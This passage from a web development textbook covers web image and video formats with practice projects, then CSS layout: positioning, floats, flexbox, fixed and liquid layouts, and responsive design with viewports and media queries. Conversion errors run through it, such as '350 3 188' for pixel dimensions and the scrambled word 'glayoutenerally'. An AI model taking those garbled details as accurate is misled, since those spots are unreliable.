aid in the process of creating <canvas> and JavaScript-based sites. Other
libraries, such as WebGL, use JavaScript in conjunction with the <canvas>
element to create desktop-quality two- and three-dimensional graphics within
the browser environment.

A full (or even a partial) examination of what can be done using the
<canvas> element is well beyond the scope of this book. Over time, as third-
party JavaScript libraries for scripting the canvas surface become more and
more sophisticated, it is likely that it will become a more essential part of
“normal” web development.



6.6 Chapter Summary
This chapter has covered the essential concepts and terms in web media,
which includes not just image files but also audio and video files as well. The
chapter focused on the most important media concepts as well as the four
different image formats. The chapter also covered HTML5's support for
audio and video files.

6.6.1 Key Terms
additive colors

alpha transparency

anti-aliasing

artifacts

bitmap image

cinemagraph

CMYK color model

codec

color depth

color palette

container formats

device pixels

digital representation



display resolution

dithering

favicon

gamut

GIF

gradient

halftones

HSL color model

image size

interpolate

JPEG

lightness

lossless compression

lossy compression

LZW compression

media encoding

MPEG-4

opacity

pixels

PNG



raster image

reference pixel

RGB color model

run-length compression

saturation

subtractive colors

SVG

TIF

transform

transition

vector image

web-safe color palette

6.6.2 Review Questions
1. 1.

How do pixels differ from halftones?

2. 2.

How do raster images differ from vector images?

3. 3.

Briefly describe the RGB, CMYK, and HSL color models.



4. 4.

What is opacity? Provide examples of three different ways to set it in
CSS.

5. 5.

What is the purpose of the artist color wheel?

6. 6.

What is color depth? What is its relationship to dithering?

7. 7.

With raster images, does resizing images affect image quality? Why or
why not?

8. 8.

Describe the main features of the JPEG file format.

9. 9.

Explain the difference between lossy and lossless compression.

10. 10.

Describe the main features of the GIF file format.

11. 11.

Describe the main features of the PNG file format.

12. 12.

What is anti-aliasing and what issues does it create with transparent
images?



13. 13.

Describe the main features of the SVG file format.

14. 14.

Explain the relationship between media encoding, codecs, and container
formats.

6.6.3 Hands-On Practice



Project 1: Book Rep Customer
Relations Management

Difficulty Level: Basic

Overview

Hands-on Exercises
Project 6.1

Perform the crop and resize activities shown in Figure 6.39 using whatever
graphical editor you are using in your course. [Open-source tools such as the
Gnu Image Manipulation Program (GIMP) are free alternatives to
commercial tools like Adobe's Photoshop.]



Figure 6.39 Completed Project



1
Figure 6.39 Full Alternative Text

Instructions
1. Crop chapter06-project01-crop.jpg as indicated in Figure 6.39 .

2. Save the cropped file as cropped.jpg.

3. Resize chapter06-project01-medium.jpg to 200 × 255. Save resized file
as small .jpg. Resize small.jpg to 1000 × 1275 and save file as big-from-
small.jpg. Notice the dramatic loss of quality when you make a small
raster image larger!

4. Reopen chapter06-project01-medium.jpg and resize to 1000 × 1273.
Save file as big-from-medium.jpg.

5. Open both big-from-small.jpg and big-from-medium.jpg. Compare the
quality. Notice how making a small raster image larger gives you much
lower quality.

6. Open chapter06-project01-alias.tif. Save as a GIF and as a PNG with the
background color set as the transparent color.

Testing
1. Create a simple HTML file that displays each of these created images.

Use CSS to set the background color to blue.

Project 2: Art Store



Difficulty Level: Intermediate

Overview

Hands-on Exercises
Project 6.2

Use a graphical editor to experiment with different quality settings and color
depth values.

Instructions
1. Open artwork-original.tif in editor. Save three different JPG versions,

one with maximum quality (100, or 10 if editor is using a 10-point
scale), one with medium quality (50), and one with the lowest quality
setting (10). Name the files artwork-quality100.jpg, artwork-
quality50.jpg, and artwork-quality10.jpg.

2. Open artwork-original.tif in the editor again. Resize to 250 × 347. Save
five different PNG-8 (that is, 8-bit) versions, each with different color
depths: 256 colors, 128 colors, 64 colors, 32 colors, and 16 colors. Name
the files artwork-256colors.png, artwork-128colors.png, etc.

3. Open logo-raster.png in the editor. Resize this image: one at 350 3 188
pixels, the other at 525 3 282 pixels. Name the files logo-raster-2x.png
and logo-raster-3x.png. Notice the dramatic loss of quality when you
make a small raster image larger!

4. Resize chapter06-project01-medium.jpg to 200 3 255. Save resized file
as small.jpg. Resize small.jpg to 1000 3 1275 and save file as big-from-
small.jpg.



Notice the dramatic loss of quality when you resize an image that has
been resized!

5. Edit chapter06-project02.html and add the appropriate <img> tags for
your new images to the <figure> elements so the page will appear as
shown in Figure 6.40 . Edit the <figcaption> for each to reflect the
actual file size.





Figure 6.40 Completed
Project 2

Figure 6.40 Full Alternative Text

6. Edit chapter06-project02.html and add the appropriate <img> tags for the
logo-vector.svg file. Resize it using the width attribute of the <img>
elements.

Testing
1. View chapter06-project02.html in the browser. It should look similar to

that shown in Figure 6.40 .

Project 3: Share Your Travel
Photos

Difficulty Level: Intermediate

Overview

Hands-on Exercises
Project 6.3



Use the <video> element along with CSS gradients. The final result will look
similar to that shown in Figure 6.41 .

Figure 6.41 Completed Project
3

Figure 6.41 Full Alternative Text

Instructions
1. Open chapter06-project03.html in the browser.

2. Add a <video> element to a <figure> element that will play either
paris.mp4, paris.webm, or paris.ogv in the element. (The files are in the
media folder). Do the same for the lake and sunset videos. Test in
different browsers.

3. Modify the CSS file to add a gradient to the <header> element and to the



<body> element.

Testing
1. View chapter06-project03.html in the browser. It should look similar to

that shown in Figure 6.41 .



7 Advanced CSS: Layout



Chapter Objectives
In this chapter you will learn …

What normal page flow is

How to position and float elements outside of the normal page flow

How to construct multicolumn layouts using positioning, floating, and
the new flexbox model

Different approaches to page layout in CSS

What responsive web design is and how to construct responsive designs

How to use CSS3 filters, transitions, and animations

How to use CSS frameworks and preprocessors to simplify complex
CSS tasks

This chapter covers further important topics in CSS. It builds on your
knowledge of the basic principles of CSS introduced in Chapter 4, including
the box model and the most common appearance properties. This chapter
examines additional CSS properties that take items out of the normal flow
and move them up, down, left, and right, all of which are essential for
creating complex layouts. The chapter will examine different approaches to
creating page layouts, approaches that can be tricky and complicated to learn
and implement. To aid in that process, the chapter will also look at the
alternative of using a CSS framework to simplify the process of creating
layouts.



7.1 Normal Flow

Hands-on Exercises Lab 7
Exercise
Document Flow

In Chapter 4, there were occasional references to block-level elements and to
inline elements. To understand CSS positioning and layout, it is essential that
we understand this distinction as well as the idea of normal flow, which
refers here to how the browser will normally display block-level elements
and inline elements from left to right and from top to bottom.

Block-level elements such as <p>, <div>, <h2>, <ul>, and <table> are each
contained on their own line. Because block-level elements begin with a line
break (that is, they start on a new line), without styling, two block-level
elements can't exist on the same line, as shown in Figure 7.1 . Block-level
elements use the normal CSS box model, in that they have margins, paddings,
background colors, and borders.



Figure 7.1 Block-level elements
Figure 7.1 Full Alternative Text

Inline elements do not form their own blocks but instead are displayed within
lines. Normal text in an HTML document is inline, as are elements such as
<em>, <a>, <img>, and <span>. Inline elements line up next to one another
horizontally from left to right on the same line; when there isn't enough space



left on the line, the content moves to a new line, as shown in Figure 7.2 .

Figure 7.2 Inline elements



Figure 7.2 Full Alternative Text

There are actually two types of inline elements: replaced and nonreplaced.
Replaced inline elements are elements whose content and thus appearance are
defined by some external resource, such as <img> and the various form
elements. Nonreplaced inline elements are those elements whose content is
defined within the document, and includes all the other inline elements.

Replaced inline elements have a width and height that are defined by the
external resource and thus have the regular CSS box model discussed in
Chapter 4. Nonreplaced inline elements, in contrast, have a constrained box
model. For instance, because their width is defined by their content (and by
other properties such as font-size and letter-spacing), the width property
is ignored, as are the margin-top, margin-bottom, and the height.

In a document with normal flow, block-level elements and inline elements
work together as shown in Figure 7.3 . Block-level elements will flow from
top to bottom, while inline elements flow from left to right within a block. If
a block contains other blocks, the same behavior happens: the child blocks
flow from the top to the bottom of the parent block.





Figure 7.3 Block and inline
elements together

Figure 7.3 Full Alternative Text

It is possible to change whether an element is block-level or inline via the
CSS display property. Consider the following two CSS rules:

span { display: block; } 

li { display: inline; }

These two rules will make all <span> elements behave like block-level
elements and all <li> elements like inline (that is, each list item will be
displayed on the same line).



7.2 Positioning Elements
It is possible to move an item from its regular position in the normal flow,
and even move an item outside of the browser viewport so it is not visible or
to position it so it is always visible in a fixed position while the rest of the
content scrolls.

The position property is used to specify the type of positioning, and the
possible values are shown in Table 7.1. The left, right, top, and bottom
properties are used to indicate the distance the element will move; the effect
of these properties varies depending upon the position property.

Table 7.1 Position values
Value Description

absolute The element is removed from normal flow and positioned
in relation to its nearest positioned ancestor.

fixed The element is fixed in a specific position in the window
even when the document is scrolled.

relative The element is moved relative to where it would be in the
normal flow.

static The element is positioned according to the normal flow.
This is the default.

The next several sections will provide examples of how to use absolute,
fixed, and relative positioning. While fixed position is used relatively
infrequently, absolute and relative positioning are absolutely essential to
many of the most common layout techniques in CSS.

7.2.1 Relative Positioning



Hands-on Exercises Lab 7
Exercise
Relative Positioning

In relative positioning an element is displaced out of its normal flow position
and moved relative to where it would normally have been placed. The other
content around the relatively positioned element “remembers” the element's
old position in the flow; thus the space the element would have occupied is
preserved as shown in Figure 7.4 , as is the rest of the document's flow.



Figure 7.4 Relative positioning
Figure 7.4 Full Alternative Text

As a consequence, the repositioned element now overlaps other content: that
is, the <p> element following the <figure> element does not change to
accommodate the moved <figure> as one might expect.



7.2.2 Absolute Positioning

Hands-on Exercises Lab 7
Exercise
Absolute Positioning

When an element is positioned absolutely, it is removed completely from
normal flow. Thus, unlike with relative positioning, space is not left for the
moved element, as it is no longer in the normal flow. Its position is moved in
relation to the top left corner of its container block. In the example shown in
Figure 7.5 , the container block is the <body> element. Like with the relative
positioning example, the moved block can now overlap content in the
underlying normal flow.



Figure 7.5 Absolute positioning
Figure 7.5 Full Alternative Text

While this example is fairly clear, absolute positioning can get confusing. An
element moved via absolute position is actually positioned relative to its



nearest positioned ancestor container (that is, a block-level element whose
position is fixed, relative, or absolute). In the example shown in Figure
7.6 , the <figcaption> is absolutely positioned; it is moved 150 px down and
200 px to the left of its nearest positioned ancestor, which happens to be its
parent (the <figure> element).



Figure 7.6 Absolute position is
relative to nearest positioned
ancestor container

Figure 7.6 Full Alternative Text

Pro Tip
One of the most common needs when using CSS is to align a block element
vertically within a container element. This is a surprisingly complicated task.
The solutions to this task have typically involved positioning or padding
tricks (or changing the display property of container to table). In Section
7.4.3, we will encounter an elegant and simple solution using the FlexBox
layout mode.

7.2.3 Z-Index

Hands-on Exercises Lab 7
Exercise
Stacking Using Z-Index

Looking at Figure 7.6 , you may wonder what would have happened if the
<figcaption> had been moved so that it overlapped the <figure>. Each
positioned element has a stacking order defined by the z-index property
(named for the z-axis). Items closest to the viewer (and thus on the top) have
a larger z-index value, which can be seen in the first example in Figure 7.7 .





Figure 7.7 Z-index
Figure 7.7 Full Alternative Text

Unfortunately, working with z-index can be tricky and seemingly
counterintuitive. First, only positioned elements will make use of their z-
index. Second, as can be seen in Figure 7.7 , simply setting the z-index value
of elements will not necessarily move them on top or behind other items.

7.2.4 Fixed Position
The fixed position value is used relatively infrequently. It is a type of
absolute positioning, except that the positioning values are in relation to the
viewport (i.e., to the browser window). Elements with fixed positioning do
not move when the user scrolls up or down the page, as can be seen in Figure
7.8 .



Figure 7.8 Fixed position
Figure 7.8 Full Alternative Text

The fixed position is most commonly used to ensure that navigation elements
or advertisements are always visible.

Dive Deeper

Transforms



CSS3 transforms provide additional ways to change the size, position, and
even the shape of HTML elements. As you can see from Figure 7.9 , CSS3
transforms allow you to transform move, scale, rotate, and skew an element.



Figure 7.9 CSS3 transforms
Figure 7.9 Full Alternative Text

If you are only interested in the scale and translate functionality, you may be
wondering whether they are preferable in comparison to the traditional CSS
techniques (i.e., using position along with top, left, etc. properties)
covered in the positioning section. While there is some disagreement among
experts online, we would say that the positioning properties make more sense
when used for page layout purposes, while the translate functions are best for
making smaller manipulations on individual elements, perhaps as part of an
animation sequence (covered later in the Transitions section of this chapter).

It should also be stressed that there are some transformations that are only
possible with the transform functions. In particular, it is possible to
transform an element in 3D space using the perspective(), rotate3d(),
scale3d(), and translate3d() functions (along with associated x, y, and z
versions, such as rotateX(), rotateY(), and rotateZ() functions).

You might be wondering why a 3D transformation would be useful on a 2D
web page. A 3D transform on a square doesn't suddenly make it appear as a
cube. They do, however, provide a way for a developer to create the illusion
of 3D space.

This illusion of 3D space happens due to the perspective property. This
property is used to specify the distance in pixels between the z-plane (that is,
the figurative depth “into” the screen) of a container element and the user. By
setting a perspective value, the 2D child items of that container on the screen
will be projected by the browser “as if” they had moved further away (that is
smaller) from the viewer, as shown by Figure 7.10 .



Figure 7.10 CSS3 perspective
Figure 7.10 Full Alternative Text

You might be wondering about the usefulness of 3D transforms. One of the
most common uses of perspective and 3D transforms is to create the illusion
of depth in animations. For instance, in the lab exercise for the animation
section later in the chapter, there is a “card flipping” animation. When the
user moves the mouse over an image, it appears to flip over, displaying the
caption for the image. That illusion of a 2D rectangle flipping over is due to
the perspective and 3D transform properties.



7.3 Floating Elements

Hands-on Exercises Lab 7
Exercise
Floating Elements

It is possible to displace an element out of its position in the normal flow via
the CSS float property. An element can be floated to the left or floated to
the right. When an item is floated, it is moved all the way to the far left or
far right of its containing block and the rest of the content is “reflowed”
around the floated element, as can be seen in Figure 7.11 .



Figure 7.11 Floating an element



Figure 7.11 Full Alternative Text

Notice that a floated block-level element should have a width specified; if
you do not, then normally (depending on the browser) the width will be set to
auto, which will mean it implicitly fills the entire width of the containing
block, and there thus will be no room available to flow content around the
floated item. Also note in the final example in Figure 7.11 that the margins
on the floated element are respected by the content that surrounds the floated
element.

7.3.1 Floating within a Container

Hands-on Exercises Lab 7
Exercise
Floating In a Container

It should be reiterated that a floated item moves to the left or right of its
container (also called its containing block). In Figure 7.11 , the containing
block is the HTML document itself so the figure moves to the left or right of
the browser window. But in Figure 7.12 , the floated figure is contained
within an <article> element that is indented from the browser's edge. The
relevant margins and padding areas are color coded to help make it clearer
how the float interacts with its container.





Figure 7.12 Floating to the
containing block

Figure 7.12 Full Alternative Text

There is an important change happening in this example, which might not be
apparent unless one zooms in to see better, as is shown in Figure 7.13 . In this
illustration, you can see that the overlapping margins for the adjacent <p>
elements behave normally and collapse. But notice that the top margin for the
floated <figure> and the bottom margin for the <p> element above it do not
collapse. Be aware that details like this can often be frustrating to students
learning about design, but with practice become second nature.

Figure 7.13 Margins do not
collapse on floated block-level
elements

Figure 7.13 Full Alternative Text



7.3.2 Floating Multiple Items Side
by Side

Hands-on Exercises Lab 7
Exercise
Floating and Clearing

One of the more common usages of floats is to place multiple items side by
side on the same line. When you float multiple items that are in proximity,
each floated item in the container will be nestled up beside the previously
floated item. All other content in the containing block (including other floated
elements) will be rearranged to flow around all the floated elements, as
shown in Figure 7.14 .



Figure 7.14 Problems with
multiple floats

Figure 7.14 Full Alternative Text



As can be seen in Figure 7.14 , this can create some pretty messy layouts as
the browser window increases or decreases in size (that is, as the containing
block resizes). Thankfully, you can stop elements from flowing around a
floated element by using the clear property. The values for this property are
shown in Table 7.2.

Table 7.2 Clear Property
Value Description

left The left-hand edge of the element cannot be adjacent to
another element.

right The right-hand edge of the element cannot be adjacent to
another element.

both Both the left-hand and right-hand edges of the element
cannot be adjacent to another element.

none The element can be adjacent to other elements.

Figure 7.15 demonstrates how the use of the clear property can solve some
of our layout problems. In it, a new CSS class has been created that sets the
clear property to left. The class is then assigned to the elements that need
to start on a new line, in this case to one of the <figure> elements and to the
<p> element after the figures.



Figure 7.15 Using the clear
property

Figure 7.15 Full Alternative Text

Unfortunately, the layout in Figure 7.15 will still fall apart if the browser
width shrinks so that there is only enough room for one or two of the figures
to be displayed. This is not a trivial problem, and this chapter will examine
some potential solutions in the section on Responsive Design.

7.3.3 Containing Floats
Another problem that can occur with floats is when an element is floated



within a containing block that contains only floated content. In such a case,
the containing block essentially disappears, as shown in Figure 7.16 .

Figure 7.16 Disappearing
parent containers

Figure 7.16 Full Alternative Text

In Figure 7.16 , the <figure> containing block contains only an <img> and a
<figcaption> element, and both of these elements are floated to the left.
That means both elements have been removed from the normal flow; from
the browser's perspective, since the <figure> contains no normal flow
content, it essentially has nothing in it, hence it has a content height of zero.



One solution would be to float the container as well, but depending on the
layout this might not be possible. A better solution would be to use the
overflow property as shown in Figure 7.17 .

Figure 7.17 Using the overflow
property

Figure 7.17 Full Alternative Text

Pro Tip
There are a number of different solutions to some of the layout problems with
floats. Perhaps the most common of these is the so-called clearfix solution, in
which a class named clearfix is defined (see the following example) and
assigned to a floated element:

.clearfix:after {

    content: “\00A0”;

    display: block;

    height: 0;

    clear: both;

    visibility: hidden;

    zoom: 1

}



In the example shown in Figure 7.16 , it could also be assigned to the
<figure> element to solve the issue of the disappearing container. It works
by inserting a blank space that is hidden but has the block display mode.

7.3.4 Overlaying and Hiding
Elements

Hands-on Exercises Lab 7
Exercise
Using Positioning

One of the more common design tasks with CSS is to place two elements on
top of each other, or to selectively hide and display elements. Positioning is
important to both of these tasks as well as for smaller design changes, such as
moving items relative to other elements within a container. In such a case,
relative positioning is used to create the positioning context for a subsequent
absolute positioning move. Recall that absolute positioning is positioning in
relation to the closest positioned ancestor. This doesn't mean that you actually
have to move the ancestor; you just set its position to relative. In Figure
7.18 , the caption is positioned on top of the image; it doesn't matter where
the image appears on the page, its position over the image will always be the
same.



Figure 7.18 Using relative and
absolute positioning

Figure 7.18 Full Alternative Text



This technique can be used in many different ways. Figure 7.19 illustrates
another example of this technique. An image that is the same size as the
underlying one is placed on top of the other image using absolute positioning.
Since most of this new image contains transparent pixels (transparency was
covered in Chapter 6), it only covers part of the underlying image.





Figure 7.19 Using the display
property

Figure 7.19 Full Alternative Text

But imagine that this new banner is only to be displayed some of the time.
You can hide this image using the display property, as shown in Figure 7.19
. You might think that it makes no sense to set the display property of an
element to none, but this property is often set programmatically in JavaScript,
perhaps in response to user actions or some other logic.

There are in fact two different ways to hide elements in CSS: using the
display property and using the visibility property. The display property
takes an item out of the flow: it is as if the element no longer exists. The
visibility property just hides the element, but the space for that element
remains. Figure 7.20 illustrates the difference between the two properties.



Figure 7.20 Comparing display
to visibility

Figure 7.20 Full Alternative Text

While these two properties are often set programmatically via JavaScript, it is
also possible to make use of these properties without programming using the
:hover pseudo-class. Figure 7.21 demonstrates how the combination of



absolute positioning, the :hover pseudo-class, and the visibility property
can be used to display a larger version of an image (as well as other markup)
when the mouse hovers over the thumbnail version of the image. This
technique is also commonly used to create sophisticated tool tips for
elements.



Figure 7.21 Using hover with



display
Figure 7.21 Full Alternative Text

Note
Using the display:none and visibility:hidden properties on a content
element also makes it invisible to screen readers as well (i.e., the content will
not be spoken by the screen reader software). If the hidden content is meant
to be accessible to screen readers, then another hiding mechanism (such as
large negative margins) will be needed.



7.4 Constructing Multicolumn
Layouts
The previous sections showed two different ways to move items out of the
normal top-down flow, namely, by using positioning and by using floats.
They are the raw techniques that you can use to create more complex layouts.
A typical layout may very well use both positioning and floats.

There is unfortunately no simple and easy way to create robust multicolumn
page layouts. There are tradeoffs with each approach, and while this chapter
cannot examine the details of every technique, it will provide some guidance
as to the general issues and provide some illustrations of typical approaches.

Note
As a reminder from Chapter 5, prior to the broad support for CSS in
browsers, HTML tables were frequently used to create page layouts.
Unfortunately, this practice of using tables for layout has a variety of
problems: larger HTML files, unsemantic markup, and reduced accessibility.

7.4.1 Using Floats to Create
Columns

Hands-on Exercises Lab 7
Exercise



Two-Column Layout

Using floats is perhaps the most common way to create columns of content.
The approach is shown in Figures 7.22 and 7.23. The first step is to float the
content container that will be on the left-hand side. Remember that the
floated container needs to have a width specified.





Figure 7.22 Creating two-
column layout, step one

Figure 7.22 Full Alternative Text

As can be seen in the second screen capture in Figure 7.22 , the other content
will flow around the floated element. Figure 7.23 shows the other key step:
changing the left margin so that the non-floated content no longer flows back
under the floated content.

Figure 7.23 Creating two-



column layout, step two
Figure 7.23 Full Alternative Text

As you can see in Figure 7.23 , there are still some potential issues. The
background of the floated element stops when its content ends. If we wanted
the background color to descend down to the footer, then it is difficult (but
not impossible) to achieve this visual effect with floats. One solution is to
keep the left nav transparent, allowing the body color to show through the
margin of the main div.

A three-column layout could be created in much the same manner, as shown
in Figure 7.24 .



Figure 7.24 Creating a three-
column layout

Figure 7.24 Full Alternative Text

Note
There is a very important point to be made about the source order of the
content in Figure 7.24 . Notice that the left and right floated content must be
in the source before the main nonfloated <div>. If the <aside> element had
been after the main <div>, then it would have been floated below the main
<div>. As well, screen readers will read the content in the order it is in the
HTML.

Another approach for creating a three-column layout is to float elements
within a container element. This approach is actually a little less brittle
because the floated elements within a container are independent of elements
outside the container. Figure 7.25 illustrates this approach.



Figure 7.25 Creating a three-
column layout with nested
floats

Figure 7.25 Full Alternative Text

Notice again that the floated content must appear in the source before the
nonfloated content. This is the main problem with the floated approach: that
we can't necessarily put the source in an SEO-optimized order (which would
be to put the main page content before the navigation and the aside). There



are in fact ways to put the content in an SEO-optimized order with floats, but
typically this requires making use of certain tricks such as giving the main
content negative margins.

7.4.2 Using Positioning to Create
Columns

Hands-on Exercises Lab 7
Exercise
Three-Column Layout

Positioning can also be used to create a multicolumn layout. Typically, the
approach will be to absolute position the elements that were floated in the
examples from the previous section. Recall that absolute positioning is
related to the nearest positioned ancestor, so this approach typically uses
some type of container that establishes the positioning context. Figure 7.26
illustrates a typical three-column layout implemented via positioning.



Figure 7.26 Three-column
layout with positioning

Figure 7.26 Full Alternative Text

Notice that with positioning it is easier to construct our source document with
content in a more SEO-friendly manner; in this case, the main <div> can be
placed first.

However, absolute positioning has its own problems. What would happen if
one of the sidebars had a lot of content and was thus quite long? In the
floated layout, this would not be a problem at all, because when an item is
floated, blank space is left behind. But when an item is positioned, it is



removed entirely from normal flow, so subsequent items will have no
“knowledge” of the positioned item. This problem is illustrated in Figure 7.27
.

Figure 7.27 Problems with
absolute positioning

Figure 7.27 Full Alternative Text

One solution to this type of problem is to place the footer within the main
container, as shown in Figure 7.28 . However, this has the problem of a
footer that is not at the bottom of the page.



Figure 7.28 Solution to footer
problem

Figure 7.28 Full Alternative Text

7.4.3 Using Flexbox to Create
Columns
As you saw in this section, creating layouts with floats and positioning has
certain strengths and weaknesses. The new flexible box (or flexbox) layout
mode in CSS3 tries to provide a powerful (though perhaps not initially easier
to learn) and more predictable way of laying out content on a web page.

One of the more common needs when designing a web page is to distribute



items horizontally within a container. For instance, in Figure 7.29 , we see
one of the most common layout containers on the web: an image with some
content to its right. As you can see, using floats requires margin settings
using pixels based on the size of the image. Flexbox provides a simpler way
to construct a layout that is more maintainable and far less brittle.

Figure 7.29 Using flexbox to



simplify layout
Figure 7.29 Full Alternative Text

So how does flexbox work? As can be seen in Figure 7.30 , the parent
container has its display property set to flex. There are several related flex
properties that allow you to control the position of items horizontally (or
vertically). The first of these we will explore are the align-items and justify-
content properties. As can be seen in Figure 7.31 , these two properties can be
used to align items within a container. Aligning an item vertically within a
container has always been a tricky problem with CSS; flexbox makes this
process much easier.



Figure 7.30 The flexbox parent
(container) properties

Figure 7.30 Full Alternative Text



Figure 7.31 The flexbox child
(item) properties

Figure 7.31 Full Alternative Text

Figure 7.31 illustrates many of the key flexbox properties that apply to the
parent container. Individual items within the container also have their own
flexbox properties. The most important of these is the flex shorthand property
(one could also use the flex-grow property instead), which is shown in the
extended example.

The nearby extended example section provides a more in-depth and practical
examination of how you can use flexbox to construct a typical three-column
layout.



Extended example
In this example, we are going to construct a three-column layout using
flexbox layout. The result will be cleaner and simpler than the float or
positioning approaches and, once you learn media queries later in the chapter,
it would be easy to modify in order to make it responsive for mobile devices.





7.4-3 Full Alternative Text





7.4-4 Full Alternative Text



7.5 Approaches to CSS Layout
One of the main problems faced by web designers is that the size of the
screen used to view the page can vary quite a bit. Some users will visit a site
on a 21-inch wide-screen monitor that can display 1920 × 1080 pixels (px);
others will visit it on an older iPhone with a 3.5-inch screen and a resolution
of 320 × 480 px. Users with the large monitor might expect a site to take
advantage of the extra size; users with the small monitor will expect the site
to scale to the smaller size and still be usable. Satisfying both users can be
difficult; the approach to take for one type of site content might not work as
well with another site with different content. Most designers take one of two
basic approaches to dealing with the problems of screen size. While there are
other approaches than these two, the others are really just enhancements to
these two basic models.

7.5.1 Fixed Layout
The first approach is to use a fixed layout. In a fixed layout, the basic width
of the design is set by the designer, typically corresponding to an “ideal”
width based on a “typical” monitor resolution. A common width used is
something in the 960 to 1000 pixel range, which fits nicely in the common
desktop monitor resolution (1024 × 768). This content can then be positioned
on the left or the center of the monitor.

Fixed layouts are created using pixel units, typically with the entire content
within a <div> container (often named “container”, “main”, or “wrapper”)
whose width property has been set to some width, as shown in Figure 7.32 .



Figure 7.32 Fixed layouts
Figure 7.32 Full Alternative Text

The advantage of a fixed layout is that it is easier to produce and generally
has a predictable visual result. It is also optimized for typical desktop



monitors; however, as more and more user visits are happening via smaller
mobile devices, this advantage might now seem to some as a disadvantage.
Fixed layouts have other drawbacks. For larger screens, there may be an
excessive amount of blank space to the left and/or right of the content. Much
worse is when the browser window shrinks below the fixed width; the user
will have to scroll horizontally to see all the content, as shown in Figure 7.33
.





Figure 7.33 Problems with
fixed layouts

Figure 7.33 Full Alternative Text

7.5.2 Liquid Layout
The second approach to dealing with the problem of multiple screen sizes is
to use a liquid layout (also called a fluid layout). In this approach, widths are
not specified using pixels, but percentage values. Recall from Chapter 4 that
percentage values in CSS are a percentage of the current browser width, so a
layout in which all widths are expressed as percentages should adapt to any
browser size, as shown in Figure 7.34 .



Figure 7.34 Liquid layouts
Figure 7.34 Full Alternative Text

The obvious advantage of a liquid layout is that it adapts to different browser
sizes, so there is neither wasted white space nor any need for horizontal
scrolling. There are several disadvantages however. Liquid layouts can be
more difficult to create because some elements, such as images, have fixed
pixel sizes. Another problem will be noticeable as the screen grows or shrinks
dramatically, in that the line length (which is an important contributing factor
to readability) may become too long or too short. Thus, creating a usable
liquid is glayoutenerally more difficult than creating a fixed layout.



The other alternative layout approach has become increasingly important,
and, indeed, is now perhaps the most common way to do layout. This
approach is generally called the responsive layout approach, and is the focus
of the next section.



7.6 Responsive Design
In the past several years, a lot of attention has been given to so-called
responsive layout designs. In a responsive design, the page “responds” to
changes in the browser size that go beyond the width scaling of a liquid
layout. One of the problems of a liquid layout is that images and horizontal
navigation elements tend to take up a fixed size, and when the browser
window shrinks to the size of a mobile browser, liquid layouts can become
unusable. In a responsive layout, images will be scaled down and navigation
elements will be replaced as the browser shrinks, as can be seen in Figure
7.35 .





Figure 7.35 Responsive layouts
Figure 7.35 Full Alternative Text

Note
One of the most influential recent approaches to web design is sometimes
referred to as mobile first design. As the name suggests, the main principle
in this approach is that the first step in the design and implementation of a
new website should be the design and development of its mobile version
(rather than as an afterthought as is often the case).

The rationale for the mobile-first approach lies not only in the increasingly
larger audience whose principal technology for accessing websites is a
smaller device such as a phone or a tablet. Focusing first on the mobile
platform also forces the designers and site architects to focus on the most
important component of any site: the content. Due to the constrained sizes of
these devices, the key content must be highlighted over the many extraneous
elements that often litter the page for sites designed for larger screens.

There are many books devoted to responsive design, so this chapter can only
provide a very brief overview of how it works. There are four key
components that make responsive design work. They are:

1. Liquid layouts

2. Setting viewports via the <meta> tag

3. Customizing the CSS for different viewports using media queries

4. Scaling images to the viewport size

Responsive designs begin with a liquid layout, that is, one in which most
elements have their widths specified as percentages. The flexbox model is



especially well suited for constructing liquid layouts suitable for responsive
design.

7.6.1 Setting Viewports

Hands-on Exercises Lab 7
Exercise
Setting the Viewport

A key technique in creating responsive layouts makes use of the ability of
current mobile browsers to scale the web page to fit the width of the screen. If
you have ever used a modern mobile browser, you may have been surprised
to see how the web page was scaled to fit into the small screen of the
browser. The way this works is the mobile browser renders the page on a
canvas (of an arbitrary, but rational size) called the viewport. On iPhones, for
instance, the viewport width is 960 px, and then that viewport is scaled to fit
the current width of the device (which can change with orientation and with
newer versions that have more physical pixels in the screen), as shown in
Figure 7.36 .



Figure 7.36 Mobile scaling
(without viewport)

Figure 7.36 Full Alternative Text

The mobile Safari browser introduced the viewport <meta> tag as a way for
developers to control the size of that initial viewport. If the developer has
created a responsive site similar to that shown in Figure 7.35 , one that will
scale to fit a smaller screen, she may not want the mobile browser to render it



on the full-size viewport. The web page can tell the mobile browser the
viewport size to use via the viewport <meta> element, as shown in Listing
7.1.

Listing 7.1 Setting the viewport
<html> 

<head> 

<meta name=“viewport” content=“width=device-width” />

By setting the viewport as in this listing, the page is telling the browser that
no scaling is needed, and to make the viewport as many pixels wide as the
device screen width. This means that if the device has a screen that is 320 px
wide, the viewport width will be 320 px; if the screen is 480 px (for instance,
in landscape mode), then the viewport width will be 480 px. The result will
be similar to that shown in Figure 7.37 .



Figure 7.37 Setting the



viewport
Figure 7.37 Full Alternative Text

Note
It is worth emphasizing that what Figure 7.36 illustrates is that if an alternate
viewport is not specified via the <meta> element, then the mobile browser
will try to render a shrunken version of the full desktop site.

However, since only setting the viewport as in Figure 7.37 shrank but still
cropped the content, setting the viewport is only one step in creating a
responsive design. There needs to be a way to transform the look of the site
for the smaller screen of the mobile device, which is the job of the next key
component of responsive design, media queries.

7.6.2 Media Queries

Hands-on Exercises Lab 7
Exercise
Media Queries

The next key component of responsive designs is CSS media queries. A
media query is a way to apply style rules based on the medium that is
displaying the file. You can use these queries to determine the capabilities of
the device, and then define CSS rules to target that device. Unfortunately,
media queries are not supported by Internet Explorer 8 and earlier.

Figure 7.38 illustrates the syntax of a typical media query. These queries are



Boolean expressions and can be added to your CSS files or to the <link>
element to conditionally use a different external CSS file based on the
capabilities of the device.

Figure 7.38 Sample media
query

Figure 7.38 Full Alternative Text

Table 7.3 is a partial list of the browser features you can examine with media
queries. Many of these features have min- and max- versions.

Table 7.3 Browser Features
You Can Examine with Media
Queries

Feature Description
width Width of the viewport
height Height of the viewport
device-width Width of the device
device-height Height of the device



orientation Whether the device is portrait or landscape
color The number of bits per color

Contemporary responsive sites will typically provide CSS rules for phone
displays first, then tablets, then desktop monitors, an approach called
progressive enhancement, in which a design is adapted to progressively more
advanced devices, an approach you will also see in the JavaScript chapter.
Figure 7.39 illustrates how a responsive site might use media queries to
provide progressive enhancement.



Figure 7.39 Media queries in
action

Figure 7.39 Full Alternative Text



Notice that the smallest device is described first, while the largest device is
described last. Since later rules in the source code override earlier rules, this
provides progressive enhancement, meaning that as the display grows you
can have CSS rules that take advantage of the larger space. Notice as well
